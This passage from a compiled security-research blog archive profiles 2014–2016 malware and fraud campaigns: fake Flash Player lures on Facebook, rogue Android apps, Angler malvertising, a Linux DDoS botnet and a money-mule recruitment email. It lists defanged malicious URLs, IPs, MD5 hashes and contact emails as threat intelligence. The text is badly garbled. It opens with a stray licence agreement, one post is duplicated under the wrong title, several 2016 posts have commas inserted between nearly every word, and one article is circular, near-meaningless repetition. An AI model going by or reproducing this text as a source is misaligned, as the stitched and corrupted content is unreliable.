Any representations made with respect to, and support or assistance offered by Dashlock in connection with, the Software are offered by Dashlock only and not by any third party providing open source to Dashlock.

11. Use of Information. By installing the Software, you grant Dashlock permission to collect and use certain information. You acknowledge that you have reviewed Dashlock Privacy Policy, which describes Dashlock practices with respect to the collection, use and disclosure of information in connection with your use of the Software.

12. Compatibility. Dashlock do not warrant that the Software will be compatible with your hardware or other software installed on your computer system. Compatibility issues may cause your computer's performance to suffer. In the event that the Software is not compatible with your hardware or other software installed on your computer system, the Software can be uninstalled. Please refer to Section 8 (above) for detailed uninstall directions. Like all software, the Software utilizes some of your computer's resources to run, including system memory and your Internet connection. Use of the Software on a computer with inadequate system resources will cause each computer's performance to suffer.

13. User Representations and Warranties. You acknowledge, represent and warrant that (a) you own the computer on which you are installing the Software, or have the authority to install the Software on such computer, (b) your installation and/or Use of the Software will not violate any local, state or federal laws that apply to you or to the Use or installation of the Software, and (c) Dashlock are not causing the Software to be installed on your computer, but has provided the Software to you, which you are installing of your own volition.

14. Indemnification. You agree to defend, indemnify, and hold harmless Dashlock, its licensors and suppliers, and each of their respective officers, directors and employees, from and against any lawsuits, claims, losses, damages, fines and expenses (including attorneys' fees and costs) arising out of your use of the Software or your breach of this Agreement.

15. Export. You agree that the Software may not be acquired, shipped, transported, exported, or re-exported (a) into (or to a national or resident of) any U.S. embargoed country or (b) to anyone on the U.S. Treasury Department's list of Specially Designated Nationals or the U.S. Department of Commerce's Table of Denial Orders. By using the Software, you represent and warrant that you are not located in, under control of, or a national or resident of any such country or on any such list.

16. Governing Law; Dispute Resolution. This Agreement will be governed by and construed in accordance with the laws of THE UNITED STATES, without regard to its choice of law principles to the contrary. Any controversy, dispute or claim arising out of or relating to this Agreement or breach thereof shall be resolved by binding arbitration conducted in THE UNITED STATES. The parties shall bear their own respective costs and attorneys' fees. You agree that, regardless of any statute or law to the contrary, any claim or cause of action arising out of or related to use of the webpage, the Software, the services or this Agreement must be made within one (1) year after such claim or cause of action arose or be forever barred.

17. Miscellaneous. This is the entire agreement between Dashlock and you relating to the Software, and it supersedes any prior representations, discussions, understandings, communications or advertising relating to the Software. If any part of this Agreement is held by a court to be illegal, invalid or unenforceable, then that provision shall be deemed severable and will not affect the validity of the balance of the Agreement, which will remain valid and enforceable according to its terms. This Agreement may only be modified by a writing signed by an authorized officer of Dashlock. If you violate any term of this Agreement, Dashlock may terminate this Agreement without warning any other rights. This Agreement is assignable by Dashlock but you may not assign your rights and obligations under this Agreement.

Based on the latest performance metrics for the campaign, over 190,000 users have al-

ready interacted with this sub-campaign, since 4th of December, when I initially analyzed the

primary campaign.

Monitoring of the campaign is naturally in progress.

Updates will be posted as soon as

new developments take place.

10.1.2 Fake

Adobe

Flash

Player

Serving

Campaign

Utilizes

Google

Host-

ing/Redirection Infrastructure, Spreads Across Facebook (2014-01-07 21:09)

What "better" time to spread malicious "joy", then during the Holidays? Cybercriminals are

still busy maintaining a fake Adobe Flash Player serving, Facebook spreading campaign,

which I originally intercepted during the Holidays, utilizing Google redirectors/hosting services.

Despite the modest – naturally conservative estimate – click-through rate (45,000 clicks)

compared to that of the most recently profiled similar [1]**Febipos spreading campaign**, which

[2]**resulted in over 1 million clicks**, the campaign remains active, and continues tricking users

into installing the rogue Adobe Flash Player, resulting in the continued spread of the campaign,

on the Facebook Walls of socially engineered users.

Let's dissect the campaign, expose its infrastructure/command and control servers, and

provide MD5s of the served malware.

10.1.6 Facebook Spreading, Amazon AWS/Cloudflare/Google Docs Hosted Campaign,

Serves P2P-Worm.Win32.Palevo (2014-01-16 21:27)

A currently circulating across Facebook, multi-layered monetization tactics utilizing, Turkish

users targeting, malicious campaign, is attempting to trick users into thinking that they need

to install a fake Adobe Flash Player, displayed on a fake YouTube Video page, ultimately serving

P2P-Worm.Win32.Palevo on the hosts of the socially engineered (international) users.

Let’s dissect the campaign, expose its infrastructure in terms of shortened URLs, redirec-

tors, affiliate network IDs, landing pages, pseudo-random Facebook content generation

phone back URLs, legitimate infrastructure hosted content, and provide MD5s for the served

malicious content.

Sample redirection chain: *hxxp://m3mi.com/10469 -> hxxp://facebookikiziniz.com/yon.html?MYt-*

DmZp4xjbUP9A0OHLj -> hxxp://facebookikiziniz.com/yon.html?MYtDmZp4xjbUP9A0OHLj ->

hxxp://facebookikiziniz.com/yon.html?MYtDmZp4xjbUP9A0OHLj

4949

Internal campaign redirection structure + associated affiliate network IDs + landing URLs:

Malicious/fraudulent domain name reconnaissance:

facebookikiziniz.com - 108.162.195.103; 108.162.194.103

ttcomcdn.com - 162.159.241.195; 162.159.242.195 - Email: masallahkilic@hotmail.com

amentosx.com - 141.101.116.113; 141.101.117.113

ad.adrttt.com - 54.236.194.194

4951

The campaign is also mobile device/PC-aware, and is therefore automatically redirecting users

to a variety of different locations/affiliate networks. Case in point, the redirection to Google

Play's Mobogenie Market App (Windows application detected as Adware.NextLive.2 [1]**MD5:**

9dd785436752a6126025b549be644e76), and the iOS compatible SK planet's TicToc app.

Now comes the malicious twist, in the form of Fake Adobe Flash Player, that socially en-

gineered users would have to install, in order to view the non-existent YouTube video content.

10.1.7 Facebook Spreading, Amazon AWS/Cloudflare/Google Docs Hosted Campaign,

Serves P2P-Worm.Win32.Palevo (2014-01-16 21:27)

I've recently spotted a malicious, cybercrime-friendly SWF iframe/ redirector injecting service,

that also exposes a long-run Win32.Nixofro serving malicious infrastructure, currently utilized

for the purpose of operating a rogue social media service provider, that's targeting Turkish

Facebook users through the ubiquitous social engineering vector, for such type of campaigns,

namely, the fake Adobe Flash player.

Let's profile the service, discuss its relevance in the broader context of the threat land-

scape, provide actionable/historical threat intelligene on the malicious infrastructure, the

rogue domains involved in it, the malicious MD5s served by the cybercriminals behind it,

and directly link it to a [1]**previously profiled Facebook spreading P2P-Worm.Win32.Palevo**

serving campaign.

The managed SWF iframe/redirector service, is a great example of a cybercrime-as-a-

service type of underground market proposition, empowering, both, sophisticated and novice

cybercriminals with the necessary ([2]**malvertising**) 'know-how', in an efficient manner, di-

rectly intersecting with the commercial availability of [3]**sophisticated mass Web site**/[4]**Web**

server malicious script embedding platforms.

->

hxxp://wjetphp.com/unlu/player.swf

->

hxxp://profonixuser.net/kral.txt

->

hxxp://likef.in/fate.exe - 108.162.194.123;

108.162.195.123;

108.162.199.107 - known

to have phoned back to the same IP is also the following malicious [8]**MD5:**

ef-

fcfe91beaf7a3ed2f4ac79525c5fc5 - detected by 35 out of 50 antivirus scanners as Trojan-

Ransom.Win32.Foreign.kcme

Once executed, the sample phones back to likef.biz (176.53.119.195). The same domain is

also known to have responded to the following IPs 141.101.116.165; 141.101.117.165.

Here's comes the interesting part.

The fine folks at [9]**ExposedBotnets**, have already in-

tercepted a malicious Facebook spreading campaign, that's using the already profiled in this

4963

post **videotr.in**.

Having directly connected the cybercrime-friendly SWF iframe/ redirector injecting ser-

vice, with **hizliservis.pw** as well as the SocialMediaSystem as being part of the same malicious

infrastructure, it's time to profile the fraudulent/malicious adversaries behind the campaigns.

The cybercriminals behind these campaigns, appear to be operating a rogue social media

service, targeting Facebook Inc.

Sample screenshots of the social media distribution platform's Web based interface:

10.2.3 Win32.Nixofro Serving, Malicious Infrastructure, Exposes Fraudulent Face-

book Social Media Service Provider (2014-03-22 08:18)

I've recently spotted a malicious, cybercrime-friendly SWF iframe/ redirector injecting service,

that also exposes a long-run Win32.Nixofro serving malicious infrastructure, currently utilized

for the purpose of operating a rogue social media service provider, that's targeting Turkish

Facebook users through the ubiquitous social engineering vector, for such type of campaigns,

namely, the fake Adobe Flash player.

Let's profile the service, discuss its relevance in the broader context of the threat land-

scape, provide actionable/historical threat intelligene on the malicious infrastructure, the

rogue domains involved in it, the malicious MD5s served by the cybercriminals behind it,

and directly link it to a [1]**previously profiled Facebook spreading P2P-Worm.Win32.Palevo**

serving campaign.

The managed SWF iframe/redirector service, is a great example of a cybercrime-as-a-

service type of underground market proposition, empowering, both, sophisticated and novice

cybercriminals with the necessary ([2]**malvertising**) 'know-how', in an efficient manner, di-

rectly intersecting with the commercial availability of [3]**sophisticated mass Web site**/[4]**Web**

server malicious script embedding platforms.

The

managed

SWF

iframe/redirector

injecting

service

is

currently

responding

to

108.162.197.62

and

108.162.196.62

Known

to

have

responded

to

the

same

IPs

(108.162.197.62; 108.162.196.62) is also a key part of the malicious infrastructure that

I'll expose in this post, namely **hizliservis.pw** - Email: furkan@cod.com.

4974

->

hxxp://wjetphp.com/unlu/player.swf

->

hxxp://profonixuser.net/kral.txt

->

hxxp://likef.in/fate.exe - 108.162.194.123;

108.162.195.123;

108.162.199.107 - known

to have phoned back to the same IP is also the following malicious [8]**MD5:**

ef-

fcfe91beaf7a3ed2f4ac79525c5fc5 - detected by 35 out of 50 antivirus scanners as Trojan-

Ransom.Win32.Foreign.kcme

Once executed, the sample phones back to likef.biz (176.53.119.195). The same domain is

also known to have responded to the following IPs 141.101.116.165; 141.101.117.165.

Here's comes the interesting part.

The fine folks at [9]**ExposedBotnets**, have already in-

tercepted a malicious Facebook spreading campaign, that's using the already profiled in this

post **videotr.in**.

4981

Having directly connected the cybercrime-friendly SWF iframe/ redirector injecting ser-

vice, with **hizliservis.pw** as well as the SocialMediaSystem as being part of the same malicious

infrastructure, it's time to profile the fraudulent/malicious adversaries behind the campaigns.

The cybercriminals behind these campaigns, appear to be operating a rogue social media

service, targeting Facebook Inc.

Sample screenshots of the social media distribution platform's Web based interface:

10.3.1 Rogue Android Apps Hosting Web Site Exposes Malicious Infrastructure

(2014-10-21 21:24)

4987

With cybercriminals continuing to populate the cybercrime ecosystem with automatically

generated and monetized mobile malware variants, we continue to observe a logical shift

towards convergence of [1]**cybercrime-friendly revenue sharing**

affiliate networks, and

[2]**malicious infrastructure providers**, on their way to further achieve a posive ROI (return on

investment) out of their [3]**risk-forwarding fraudulent activities**.

I've recently spotted a legitimately looking, [4]**rogue Android apps hosting Web site**, directly

connected to a market leading [5]**DIY API-enabled mobile malware generating/monetizing**

platform, further exposing related [6]**fraudulent operations**, performed, while utilizing the

4988

[7]**malicious infrastructure**, which I'll expose in this post.

Let's assess the campaign, expose the malicious infrastructure behind it, list the cybercrime-

friendly premium rate SMS numbers, involved in it, as well as related malicious MD5s, known

to have participated in the campaign/have utilized the same malicious infrastructure.

Sample rogue Android apps hosting URL: *hxxp://androidapps.mob.wf* - 37.1.206.173

Responding to the same IP (37.1.206.173) are also the following fraudulent domains:

hxxp://22-minuty.ru

hxxp://nygolfpro.com

hxxp://bloomster.dp.ua

hxxp://stdstudio.com.ua

hxxp://autosolnce.ru

Detection rate for sample rogue Android apps:

[8]MD5: 4bf349b601fd73c74eafc01ce8ea8be7

[9]MD5: c4508c127029571e5b6f6b08e5c91415

[10]MD5: bd296d35bf41b9ae73ed816cc7c4c38b

Sample redirection chain exposing the fraudulent infrastructure:
hxxp://22-minuty.ru ->

hxxp://playersharks2.com/player.php/?userid= - 94.242.214.133; 94.242.214.155

Known to have responded to the same IPs (94.242.214.133; 94.242.214.155) are also

the following fraudulent domains, participating in a related revenue-sharing affiliate net-

work based type of monetization scheme:

4989

hxxp://4books.ru

hxxp://annoncer.media-bar.ru

hxxp://booksbutton1.com

hxxp://film-club.ru

hxxp://film-popcorn.ru

hxxp://filmbuttons.ru

hxxp://filmi-doma.com

hxxp://filmonika.ru

hxxp://films.909.su

hxxp://indiiskie.ru

hxxp://kinozond.ru

hxxp://media-bar.ru

hxxp://playersharks2.com

hxxp://playersharks4.com

hxxp://pplayer.ru

hxxp://sharksplayer2.com

hxxp://sharksplayer3.ru

hxxp://sharksreader.ru

hxxp://tema-info.ru

hxxp://toppfilms.ru

hxxp://video-movies.com

hxxp://video.909.su

hxxp://videodomm.ru

hxxp://videozzy.com

hxxp://videozzzz.ru

hxxp://websharks.ru

hxxp://yasmotrju.ru

4990

Malicious MD5s known to have phoned back to the same IP (94.242.214.133):

MD5: 9ec8aef6dc0e3db8596ac54318847328

MD5: 895c38ec4fb1fbee47bfb3b6ee3a170b

MD5: c4d88b32b605500b7f86de5569a11e22

MD5: 49861fd4748dd57c192139e8bd5b71e3

MD5: 8b350f8a32ef4b28267995cf8f0ceae1

4991

Premium rate SMS numbers involved in the fraudulent scheme:

7151; 9151; 2855; 3855; 3858; 2858; 8151; 7155; 7255; 3190; 3200; 3170; 3006; 3150;

6150; 4124; 4481; 7781; 5014; 1151; 4125; 1141; 1131; 1350; 3354; 7122; 3353; 7132;

3352; 8355; 8155; 8055; 7515; 1037; 1953; 3968; 5370; 1952; 3652; 5373; 9191; 1005;

7019; 7250; 1951; 7015; 7099; 7030

4992

Once executed MD5:

9ec8aef6dc0e3db8596ac54318847328 phones back to the following C &C servers, further exposing the malicious infrastructure:

67.215.246.10:6881

What's particularly interesting, about this campaign, is the fact, that, the Terms of Ser-

vice (ToS) presented to gullible and socially engineered end users, refers to a well known

Web site (**jmobi.net**), directly connected with the market leading [11]**DIY API-enabled mobile**

malware generating/monetization platform, extensively profiled in a previously published

post.

5002

As cybercriminals continue to achieve a cybercrime-ecosystem wide [12]**standardization**,

we'll continue to observe an increase in fraudulent activity, with the

cybercriminals behind

it, continuing to innovate, on their way to achieve efficient monetization schemes, and

risk-forwarding centered fraudulent models, further contributing to the adaptive innovation to

be applied to the current [13]**TTPs (tactics, techniques and procedures**) utilized by them.

2015

11.1 July

11.1.1 Assessing The Computer Network Operation (CNO) Capabilities of the Islamic

Republic of Iran - Report (2015-07-29 14:45)

5005

Dear blog readers, I would like to let you know, of my latest, publicly released report,

on the topic of "[1]**Assessing The Computer Network Operation (CNO) Capabilities of the**

Islamic Republic of Iran", a comprehensive, 45 pages, assessment, of Iran's cyber warfare

scene, featuring exclusive, never-published before, assessments of the country's cyber war-

fare doctrine, analysis of the country's academic incubators of the next generation of cyber

warriors, featuring, an exclusive, social network analysis (SNA), of Iran's hacking scene.

5006

The report, answers the following questions:

• Who's who on Iran's Cyber Warfare Scene - the most comprehensive analysis of Iran's

cyber warfare scene, ever performed

• Where do they go to school? - in-depth analysis of Iran's academic incubators of the next

generation of cyber warriors

• Who's buying them books? - in-depth geopolitically relevant analysis of Iran's cyber war-

fare doctrine

• How do they own and compromise? - complimentary copies of hacking tools, E-zines,

academic papers, SNA (Social Network Analysis) of Iran's Hacking Scene

An excerpt from the Executive Summary:

" *Today's growing cyber warfare arms race, prompts for systematic, structured, and mul-*

tidisciplinary enriched processes to be utilized, in order to anticipate/ neutralize and properly

attribute an adversary's strategic, tactical and operational Computer Network Operation

(CNO) capabilities, so that an adequate response can be formulated and executed on the

basis of a factual research answering some of the most relevant questions in the 'fifth domain'

of warfare - who are our adversaries, what are they up to, when are they going to launch an

attack against us, how exactly are they going to launch it, and what are they going to target

first?

This qualitative analysis (45 pages) seeks to assess the Computer Network Operations

(CNO) of Islamic Republic of Iran, through the prism of the adversary's understanding of

Tactics, Techniques and Procedures (TTP), a structured and geopolitically relevant, enriched

OSINT assessment of their operations, consisting of interpreted hacking literature, videos, and,

custom made hacking tools, extensive SNA (Social Network Analysis) of the country's Hacking

Ecosystem, real-life personalization of the key individuals behind the groups (personally

identifiable photos, personal emails, phone numbers, Blogs, Web Sites, Social Networking

accounts etc.).

It's purpose is to ultimately empower decision/policy makers, as well as

intelligence analysts, with recommendations for

countering Islamic Republic of Iran's growing understanding and application of CNO tac-

tics and strategies. "

Request,

11.2.1 Historical OSINT: OPSEC-Aware Sprott Asset Management Money Mule Re-

cruiters Recruit, Serve Crimeware, And Malvertisements (2015-08-27 16:02)

Cybercriminals continue multitasking, on their way to take advantage of well proven fraudulent

revenue sources, further, positioning themselves as opportunistic

market participants, gen-

erating fraudulent revenues, [1]**standardizing** and innovating within the context of [2]**OPSEC**

(Operational Security) while enjoying a decent market share within the [3]**cybercrime ecosys-**

tem.

In this post, I'll profile a [4]**money mule recruitment campaign**, featuring a custom fake

certificate, successfully blocking access to [5]**bobbear.co.uk** as well as my personal blog,

further exposing [6]**a malicious infrastructure**, that I'll profile in this post.

Let's assess the campaign, and expose the malicious infrastructure behind it.

The fake Sprott Asset Management sites, entices end users into installing the, the fake,

malicious certificate, as a prerequisite, to being working with them, with hosting courtesy of

ALFAHOSTNET (AS50793), a well known cybercrime-friendly malicious hosting provider, known,

to have been involved in a variety of malvertising campaigns, including related malicious

campaigns, that I'll expose in this post.

Sample confirmation email courtesy of Sprott Asset Management:

WORKING PROCESS

During all working process you will process incoming and outgoing transfers from our clients.

Main duties are: send payments, receive payments, making records of billing, making simple

management duties, checking e-mail daily. You have to provide us your cell phone for urgent

calls from your manager. If you don't have a cell phone you will need to buy it. You must have

basic computer skills to operate main process of job duties.

SALARY

During the trial period (1 month), you will be paid 4,600 $ per month while working on average

3hours per day, Monday-Friday, plus 8 % commission from every payment received and

processed. The salary will be sent in the form of wire transfer directly to your account or you

may take it from received funds directly. After the trial period your base pay salary will go up

to 6,950 $ per month, plus 10 % commission.

FEES & TRANSFERING PROCEDURE

All fees are covered by the company. The fees for transferring are simply deducted from the

payments received. Customer will not contact you during initial stage of the trial period. After

three weeks of the trial period you will begin to have contact with the customers via email in

regards to collection of the payments. For the first three weeks you will simply receive all of

the transferring details, and payments, along with step by step guidance from your supervisor.

You will be forwarding the received payments through transferring agents such as Western

Union, Money Gram, any P2P agents or by wire transferring.

WESTERN UNION & MONEYGRAM

1. As soon as You receive money transfers from our clients you are supposed to cash it in your

bank.

2. You will need to pick up the cash physically at the bank, as well as a transfer to MoneyGram.

3. Please use MoneyGram, located not in your bank, because this providing of anonymosty of

our clients.

4. The cashed amounts of money should be transferred to our clients via MoneyGram/Western

Union.

according to our transfer instructions except all the fees. The fees are taken from the amount

cashed.

5. Not use online service, only physical presence in an office of bank and Western Union.

6. Just after you have transferred money to our clients, please contact your personal manager

via e-mail (confirmation of the transfer)

and let him (her) know all the details of your Western Union transfer: SENDER'S NAME,

CONTACT DETAILS, ADRESS, AND A REFERENCE NUMBER,

PLEASE BE VERY CAREFUL WHEN YOU RESEND FUNDS, THERE MUST BE NO MISTAKES, because

our client will not be able to withdraw the funds.

7. All procedures have to take 1-2 hours, because we have to provide and verify the safety of

our clients' money (we have to inform them about all our actions).

Your manager will support you in any step of application process, if you

have any ques-

tions you may ask it anytime.

11.2.2 Historical OSINT - How TROYAK-AS Utillized BGP-over-VPN to Serve the

Avalance Botnet (2015-08-28 16:15)

Historical OSINT is a crucial part of an intelligence analyst's mindset, further positioning

a growing or an emerging trend, as a critical long term early warning system indicator,

highlighting the importance, of current and emerging trends.

In this post, I'll discuss Troyak-AS, a well-known cybercrime-friendly hosting provider,

that represented, the growing factor, for the highest percentage of malicious and fraudulent

activity online, throughout 2010, its upstream provider NetAssist LLC, and most importantly,

a malicious innovation applied by cybercriminals, at the time, namely the introduction of

malicious netblocks and ISPs, within the RIPE registry, relying on [1]**OPSEC (Operational**

Security) and basic evasive practices.

According to RSA, the [2]**Ukrainian based ISP NetAssist LLC** is listed as a legitimate ISP,

one whose services haven't been abused in any particular cybercrime-friendly way.

This analysis, will not only prove, otherwise, namely, that [3]**NetAssist LLC's** involvement

in introducing a dozen of [4]**cybercrime friendly networks** – including [5]**TROYAK-AS** – has

been taking place for purely commercial reasons, with the ISP charging thousands of euros

for the process, but also, expose a malicious innovation applied on behalf of [6]**opportunistic**

cybercriminals, at the time, namely, the introduction of innovative bulletproof hosting tactics,

techniques and procedures.

Is NetAssist LLC, on purposely offering its services, for the purpose of orchestrating cybercrime-

friendly campaigns, in a typical bulletproof cybercrime friendly fashion, or has it been abused,

by an opportunistic cybercriminals, earning fraudulently obtained revenues in the process?

Based on the analysis in this post, and the fact, that the company, continues offering IPv4

RIPE announcing services, I believe, that on the majority of occasions, the company has had

its services abused, throughout 2010, leading to the rise of the Avalance bothet.

I expect to continue observing such type of abuse, however, in a [7]**cybercrime ecosys-**

tem, dominated, by the abuse of legitimate services, I believe that cybercriminals will

continue efficiently bypassing defensive measures in place, through the abuse and compro-

mise of legitimate infrastructure.

2016

12.1 April

12.1.1 Hundreds of Google Play Apps Compromised, Lead to Mobile Malware

(2016-04-24 17:17)

Malicious attackers, have, managed, to, infiltrate, and populate, Google Play, with, hundreds,

of rogue, applications, exposing, users, to mobile, malware, compromising, the, integrity,

of, their, devices, and, exposing, them, to, misleading, advertisements. Once, a socially,

engineered, user, obtains, the, application, and, execute, it, their, device, the malware,

phones, back, to, a malicious URL, exposing, the, integrity, confidentiality, and, availability, of,

the, device.

Malicious attackers, often, rely, on, a variety of social engineering tactics, to, obtain, ac-

cess, to, a user's device, including, the use, of, compromised, publisher's accounts, obtained,

through, data mining, of botnet's of infected, population. Once, access, to, a particular, pub-

lisher's account, is, obtained, the malicious attackers, would, attempt, to use, a do-it-yourself,

type, of, mobile, malware, generating tool, for, the, purpose, of, modifying, a legitimate,

application, for, the, purpose, of, obtaining, access, to, a user's device.

Malicious attackers, are, also, known, to rely, on secondary, marketplaces, for, the, pur-

pose, of, attempting, to, obtain, access, to user's, device, with, the, secondary, marketplaces,

populated, with, rogue, and compromised, applications.

Once, a, socially, engineered, user, obtains, an, application, their, device, automatically,

becomes, part, of, a, malicious attacker's, botnet, with, the malicious, attackers, relying on,

a multitude, of monetization techniques, while, earning, fraudulently, obtained, revenue,

in, the, process. Malicious attackers, are, also, known, to, rely, on, rogue, and, fraudulent,

affiliate networks, for, the, purpose, of, monetizing, access, to, the, obtained, hosts, through,

a, variety, of, rogue, advertising, networks, largely, set, up, for, the, purpose, of, earning,

fraudulent, revenue, for, the, malicious attackers.

5035

These [1]**affiliate networks**, are, known, to, provide, managed, support, including, the,

systematic, rotation of the command and control, server, and, the, availability, of, various,

templates, empowering, malicious attackers, with, access, to, a, variety, of, fraudulent

techniques, allowing, them, to, easily, monetize, access, to, the, infected hosts.

In this post, we'll profile, profile, the, Android.Spy.277.origin, mobile, malware, found, on

hundreds, of applications, at Google Play, expose, the, malicious, infrastructure, behind, it,

provide, MD5s, and, discuss, in, depth, the, various tactics, techniques, and procedures,

utilized, by, malicious, attackers, for, the purpose, of, spreading, mobile, malware, attempting,

to, trick, users, into, executing, malicious software, on their, devices.

Sample detection rate for a sample malware:

MD5: a51d7f8413aa3857a4682fa631d39054

12.1.2 Cybercriminals Launch Malicious Malvertising Campaign, Thousands of Users

Affected (2016-04-24 21:17)

We've recently intercepted, a currently ongoing malicious malvertising attack, affecting thou-

sands of users globally, potentially exposing their PCs, to, a multitude of malicious software,

compromising, the, integrity, confidentiality, and, availability, of,

their, PCs.

The campaign relies on the Angler Web malware exploitation kit, for, the, purpose of

serving malicious software, on the, PCs, of, affected users exposing, their, PCs, to, a multitude,

of, malicious software, potentially leading, to, a compromise, of, their, PCs. Once, users, visit,

a legitimate Web site, part, of the, campaign, their, PCs, automatically become, part, of the

botnet, operated, by, the, cybercriminals, behind it, with, the, campaign, relying, on, the, use,

of, the, exploitation, of, a well known, client-side, vulnerability.

Cybercriminals, often, rely, on, the, use, of, compromised, accounting, data, obtained,

through, active data mining, of, a botnet's infected population, for, the purpose, of, embed-

ding, malicious, client-side exploits, on well known, and highly popular, Web sites, next, to,

the, active, client-side, exploitation, of, known, vulnerabilities, found, on public, and well,

5038

known, Web sites. Yet, another highly popular attack vector, remains, the use, of compro-

mised, advertiser network publisher's account, for, the, purpose, of taking advantage, of, the

publisher's, already established, clean, network, reputation.

In this post, we'll profile, the, malicious campaign, provide, actionable, intelligence, for,

the, infrastructure, behind it, provide, malicious MD5s, as, well, as, discuss, in depth, the,

tactics, techniques, and procedures, utilized, by, the, cybercriminals, behind it.

Sample detection rate for the Trojan.Win32.Waldek.gip malware:

MD5: f2b92d07bb35f1649b015a5ac10d6f05

Once executed the sample phones back to:

hxxp://datanet.cc/extra/status.html - 146.185.251.154

Malicious URLs, used, in the, campaign:

hxxp://gamergrad.top/track/k.track?wd=48 &fid=2 - 104.24.112.169

hxxp://talk915.pw/track/k.track?wd=48 &fid=2 - 104.27.190.84

Known to have responded to the same IP (146.185.251.154) are also the following ma-

licious domains:

hxxp://crenwat.cc

12.1.3 Analyzing the Bill Gates Botnet - An Analysis (2016-04-24 22:47)

We've, recently, intercepted, a high-profile, Linux-based, botnet-driven, type of, malicious,

software, that's capable, of launching, a multitude of malicious attacks, on, compromised

servers, potentially, exposing, the, integrity, confidentiality, and, availability, of, the com-

promised servers. Malicious attackers, often rely, on the use of compromised servers, for,

the purpose, of, utilizing the access for malicious purposes, including, the capability, to

launch malicious DDoS (Denial of Service Attack) attacks, and the ability, to spread additional

malicious software, to potential users, including the capability to monetize access to the

service, by, launching, DDoS for hire type of malicious and fraudulent services, including, the

capability to launch high performance DDoS attacks.

In this post, we'll, profile, and analyze, the Bill Gates botnet, provide, actionable intelli-

gence, on, the infrastructure, behind it, and, discuss, in depth, the tactics, techniques, and

procedures, of the cybercriminals, behind it.

Malicious MD5s known to be part of the Bill Gates botnet:

MD5: 5d10bcb15bedb4b94092c4c2e4d245b6

MD5: 0d79802eeae43459ef0f6f809ef74ecc

12.1.5 Malicious Client-Side Exploits Serving Campaign Intercepted, Thousands of

Users Affected (2016-04-26 20:39)

We've recently intercepted, a currently, circulating, malicious campaign, utilizing, a variety,

of compromised, Web sites, for, the purpose, of serving, malicious software, to socially

engineered, users.

In this post, we'll profile, the campaign, the infrastructure, behind, it, provide, action-

able, intelligence, MD5s, and, discuss, in depth, the tactics, techniques, and procedures, of,

the cybercrimnals, behind it.

Sample malicious URL:

12.2 May

12.2.1 Threat Intelligence - An Adaptive Approach to Information Security

(2016-05-07 13:49)

This article will detail the basics of threat intelligence gathering discuss various threat intel-

ligence gathering methodologies discuss the basics of threat intelligence gathering as well

as discuss various proactive threat intelligence gathering methodologies in the context of

proactive security defense

01. Overview of Threat Intelligence

Threat intelligence is a multi-disciplinary approach to collecting processing and dissemi-

nating actionable threat intelligence for the purpose of ensuring that an organizations security

defense is actively aware of threats facing its infrastructure so that an adequate and cost-

effective strategy can be formulated to ensure the confidentiality integrity and availability of

the information. Threat Intelligence is the process of collecting processing and disseminating

actionable intelligence for the purpose of ensuring that an organizations infrastructure remains

properly secured from threats facing its infrastructure. The collection phrase can be best

described as the process of obtaining processing and analyzing actionable threat intelligence

for the purpose of processing and disseminating the processed data. The collection phrase

consists of actively obtaining real-time threat intelligence data for the purpose of processing

enriching and assessing the data for the purpose of processing and disseminating the data.

5051

The collection phrase consists of active monitoring of sources of interest including vari-

ous public and privately closed community sources for the purpose of establishing an active

threat intelligence gathering program foundation. The collection phrase consists of assessing

and selecting a diverse set of primary and secondary public and privately closed sources

for the purpose of establishing a threat intelligence gathering model. The collection phrase

consists of assessing and selecting primary and secondary public and privately closed sources

for the purpose of establishing an active threat intelligence collection model. The collection

phrase consists of assessing the primary secondary public and privately closed sources for the

purpose of establishing an active threat intelligence gathering collection model. The collection

phase consists of assessing and selecting the primary and secondary public and privately

closed sources for the purpose of establishing the foundations of the collection phrase.

The processing phrase consists of actively selecting processing tools and methodologies

for the purpose of setting the foundations for a successful processing of the data. The pro-

cessing phase consists of actively processing the threat intelligence gathering collected data

for the purpose of establishing the foundations for a successful processing of the data. The

processing phase consists of collecting the processed data for the purpose of establishing the

foundations for a successful processing of the collected data for the purpose of processing and

enriching the processed data. The processing phase consists of active collection enrichment

and processing of the collected data for the purpose of active processing of the collected

data. The processing phase consists of active selection of primary and secondary public and

privately closed sources for the purpose of processing the collected data for the purpose

of enriching and processing the collected data.

The processing phase consists of active

real-time aggregation of actionable threat intelligence data for the purpose of establishing

the foundations of active processing and enrichment of the processed data for the purpose of

processing and enriching of the processed data.

The dissemination phase consists of active processing and dissemination of the processed data

for the purpose of communicating the actionable intelligence for the purpose of ensuring that

an organizations defense is actively aware of the threats facing its infrastructure and security

defense mechanisms. The dissemination phase consists of active distribution of the processed

and enriched actionable intelligence for the purpose of active dissemination of the processed

and enriched data. The dissemination phase consists of active dissemination and enrichment

of the processed data for the purpose of establishing the foundations of an active threat

intelligence gathering process. The dissemination phase consists of active communication

and distribution of the processed and enriched data for the purpose of communicating the

processed and enriched data across the organizations security defense mechanisms.

02. Threat Intelligence Methodologies

5052

Numerous threat intelligence methodologies are currently available for an organization

to take advantage of on its way to properly secure its infrastructure taking into consideration

a proactive security response. Among the most common data acquisition strategies remains

the active data acquisition through forum and communities monitoring including the active

monitoring of private forums and communities. Carefully selecting

and primary and secondary

sources of information is crucial for maintaining the necessary situational awareness to stay

ahead of threat facing the organizations infrastructure including the establishment of an active

response response through an active threat intelligence gathering program. Among the most

common threat intelligence acquisition methodologies remains the active data acquisition

through primary and secondary forums and communities including the data acquisition

through private and secondary community based type of acquisition platforms.

Among the most common threat intelligence data acquisition strategies remains the ac-

tive team collaboration in terms of data acquisition data processing and data dissemination

for the purpose of establishing an active organizations security response proactively respond-

ing to the threats facing an organizations infrastructure.

Among the most common data

acquisition strategies in terms of threat intelligence gathering methodologies remains the

active enrichment of the sources of information to include a variety of primary and secondary

sources including private and community based primary and secondary sources.

03. Proactive Threat Intelligence Methodologies

Anticipating the emerging threat landscape greatly ensures an organizations successful

implementation of a proactive security type of defense ensuring that an organizations secu-

rity defense remains properly protected from the threats facing its infrastructure. Properly

understanding the threat landscape greatly ensures that a proactive response can be properly

implemented for the purpose of ensuring that an organizations security defense remains

properly protected from the threats facing its infrastructure. Taking into consideration the

data obtained through an active threat intelligence gathering program greatly ensures that a

proactive security response can be adequately implemented to ensure that an organizations

security defense remains properly protected from the threats facing its infrastructure.

Among the most common threat acquisition tactics remains the active understanding of

the threats facing an organizations security infrastructure to ensure that an adequate

response can be properly implemented ensuring that an organizations defense remains

properly protected from the threats facing its infrastructure.

Among the most common

threat intelligence gathering methodologies remains the active team collaboration to ensure

that an active enrichment process can be properly implemented further ensuring that an

organizations defense can be properly protected from the threats facing its infrastructure.

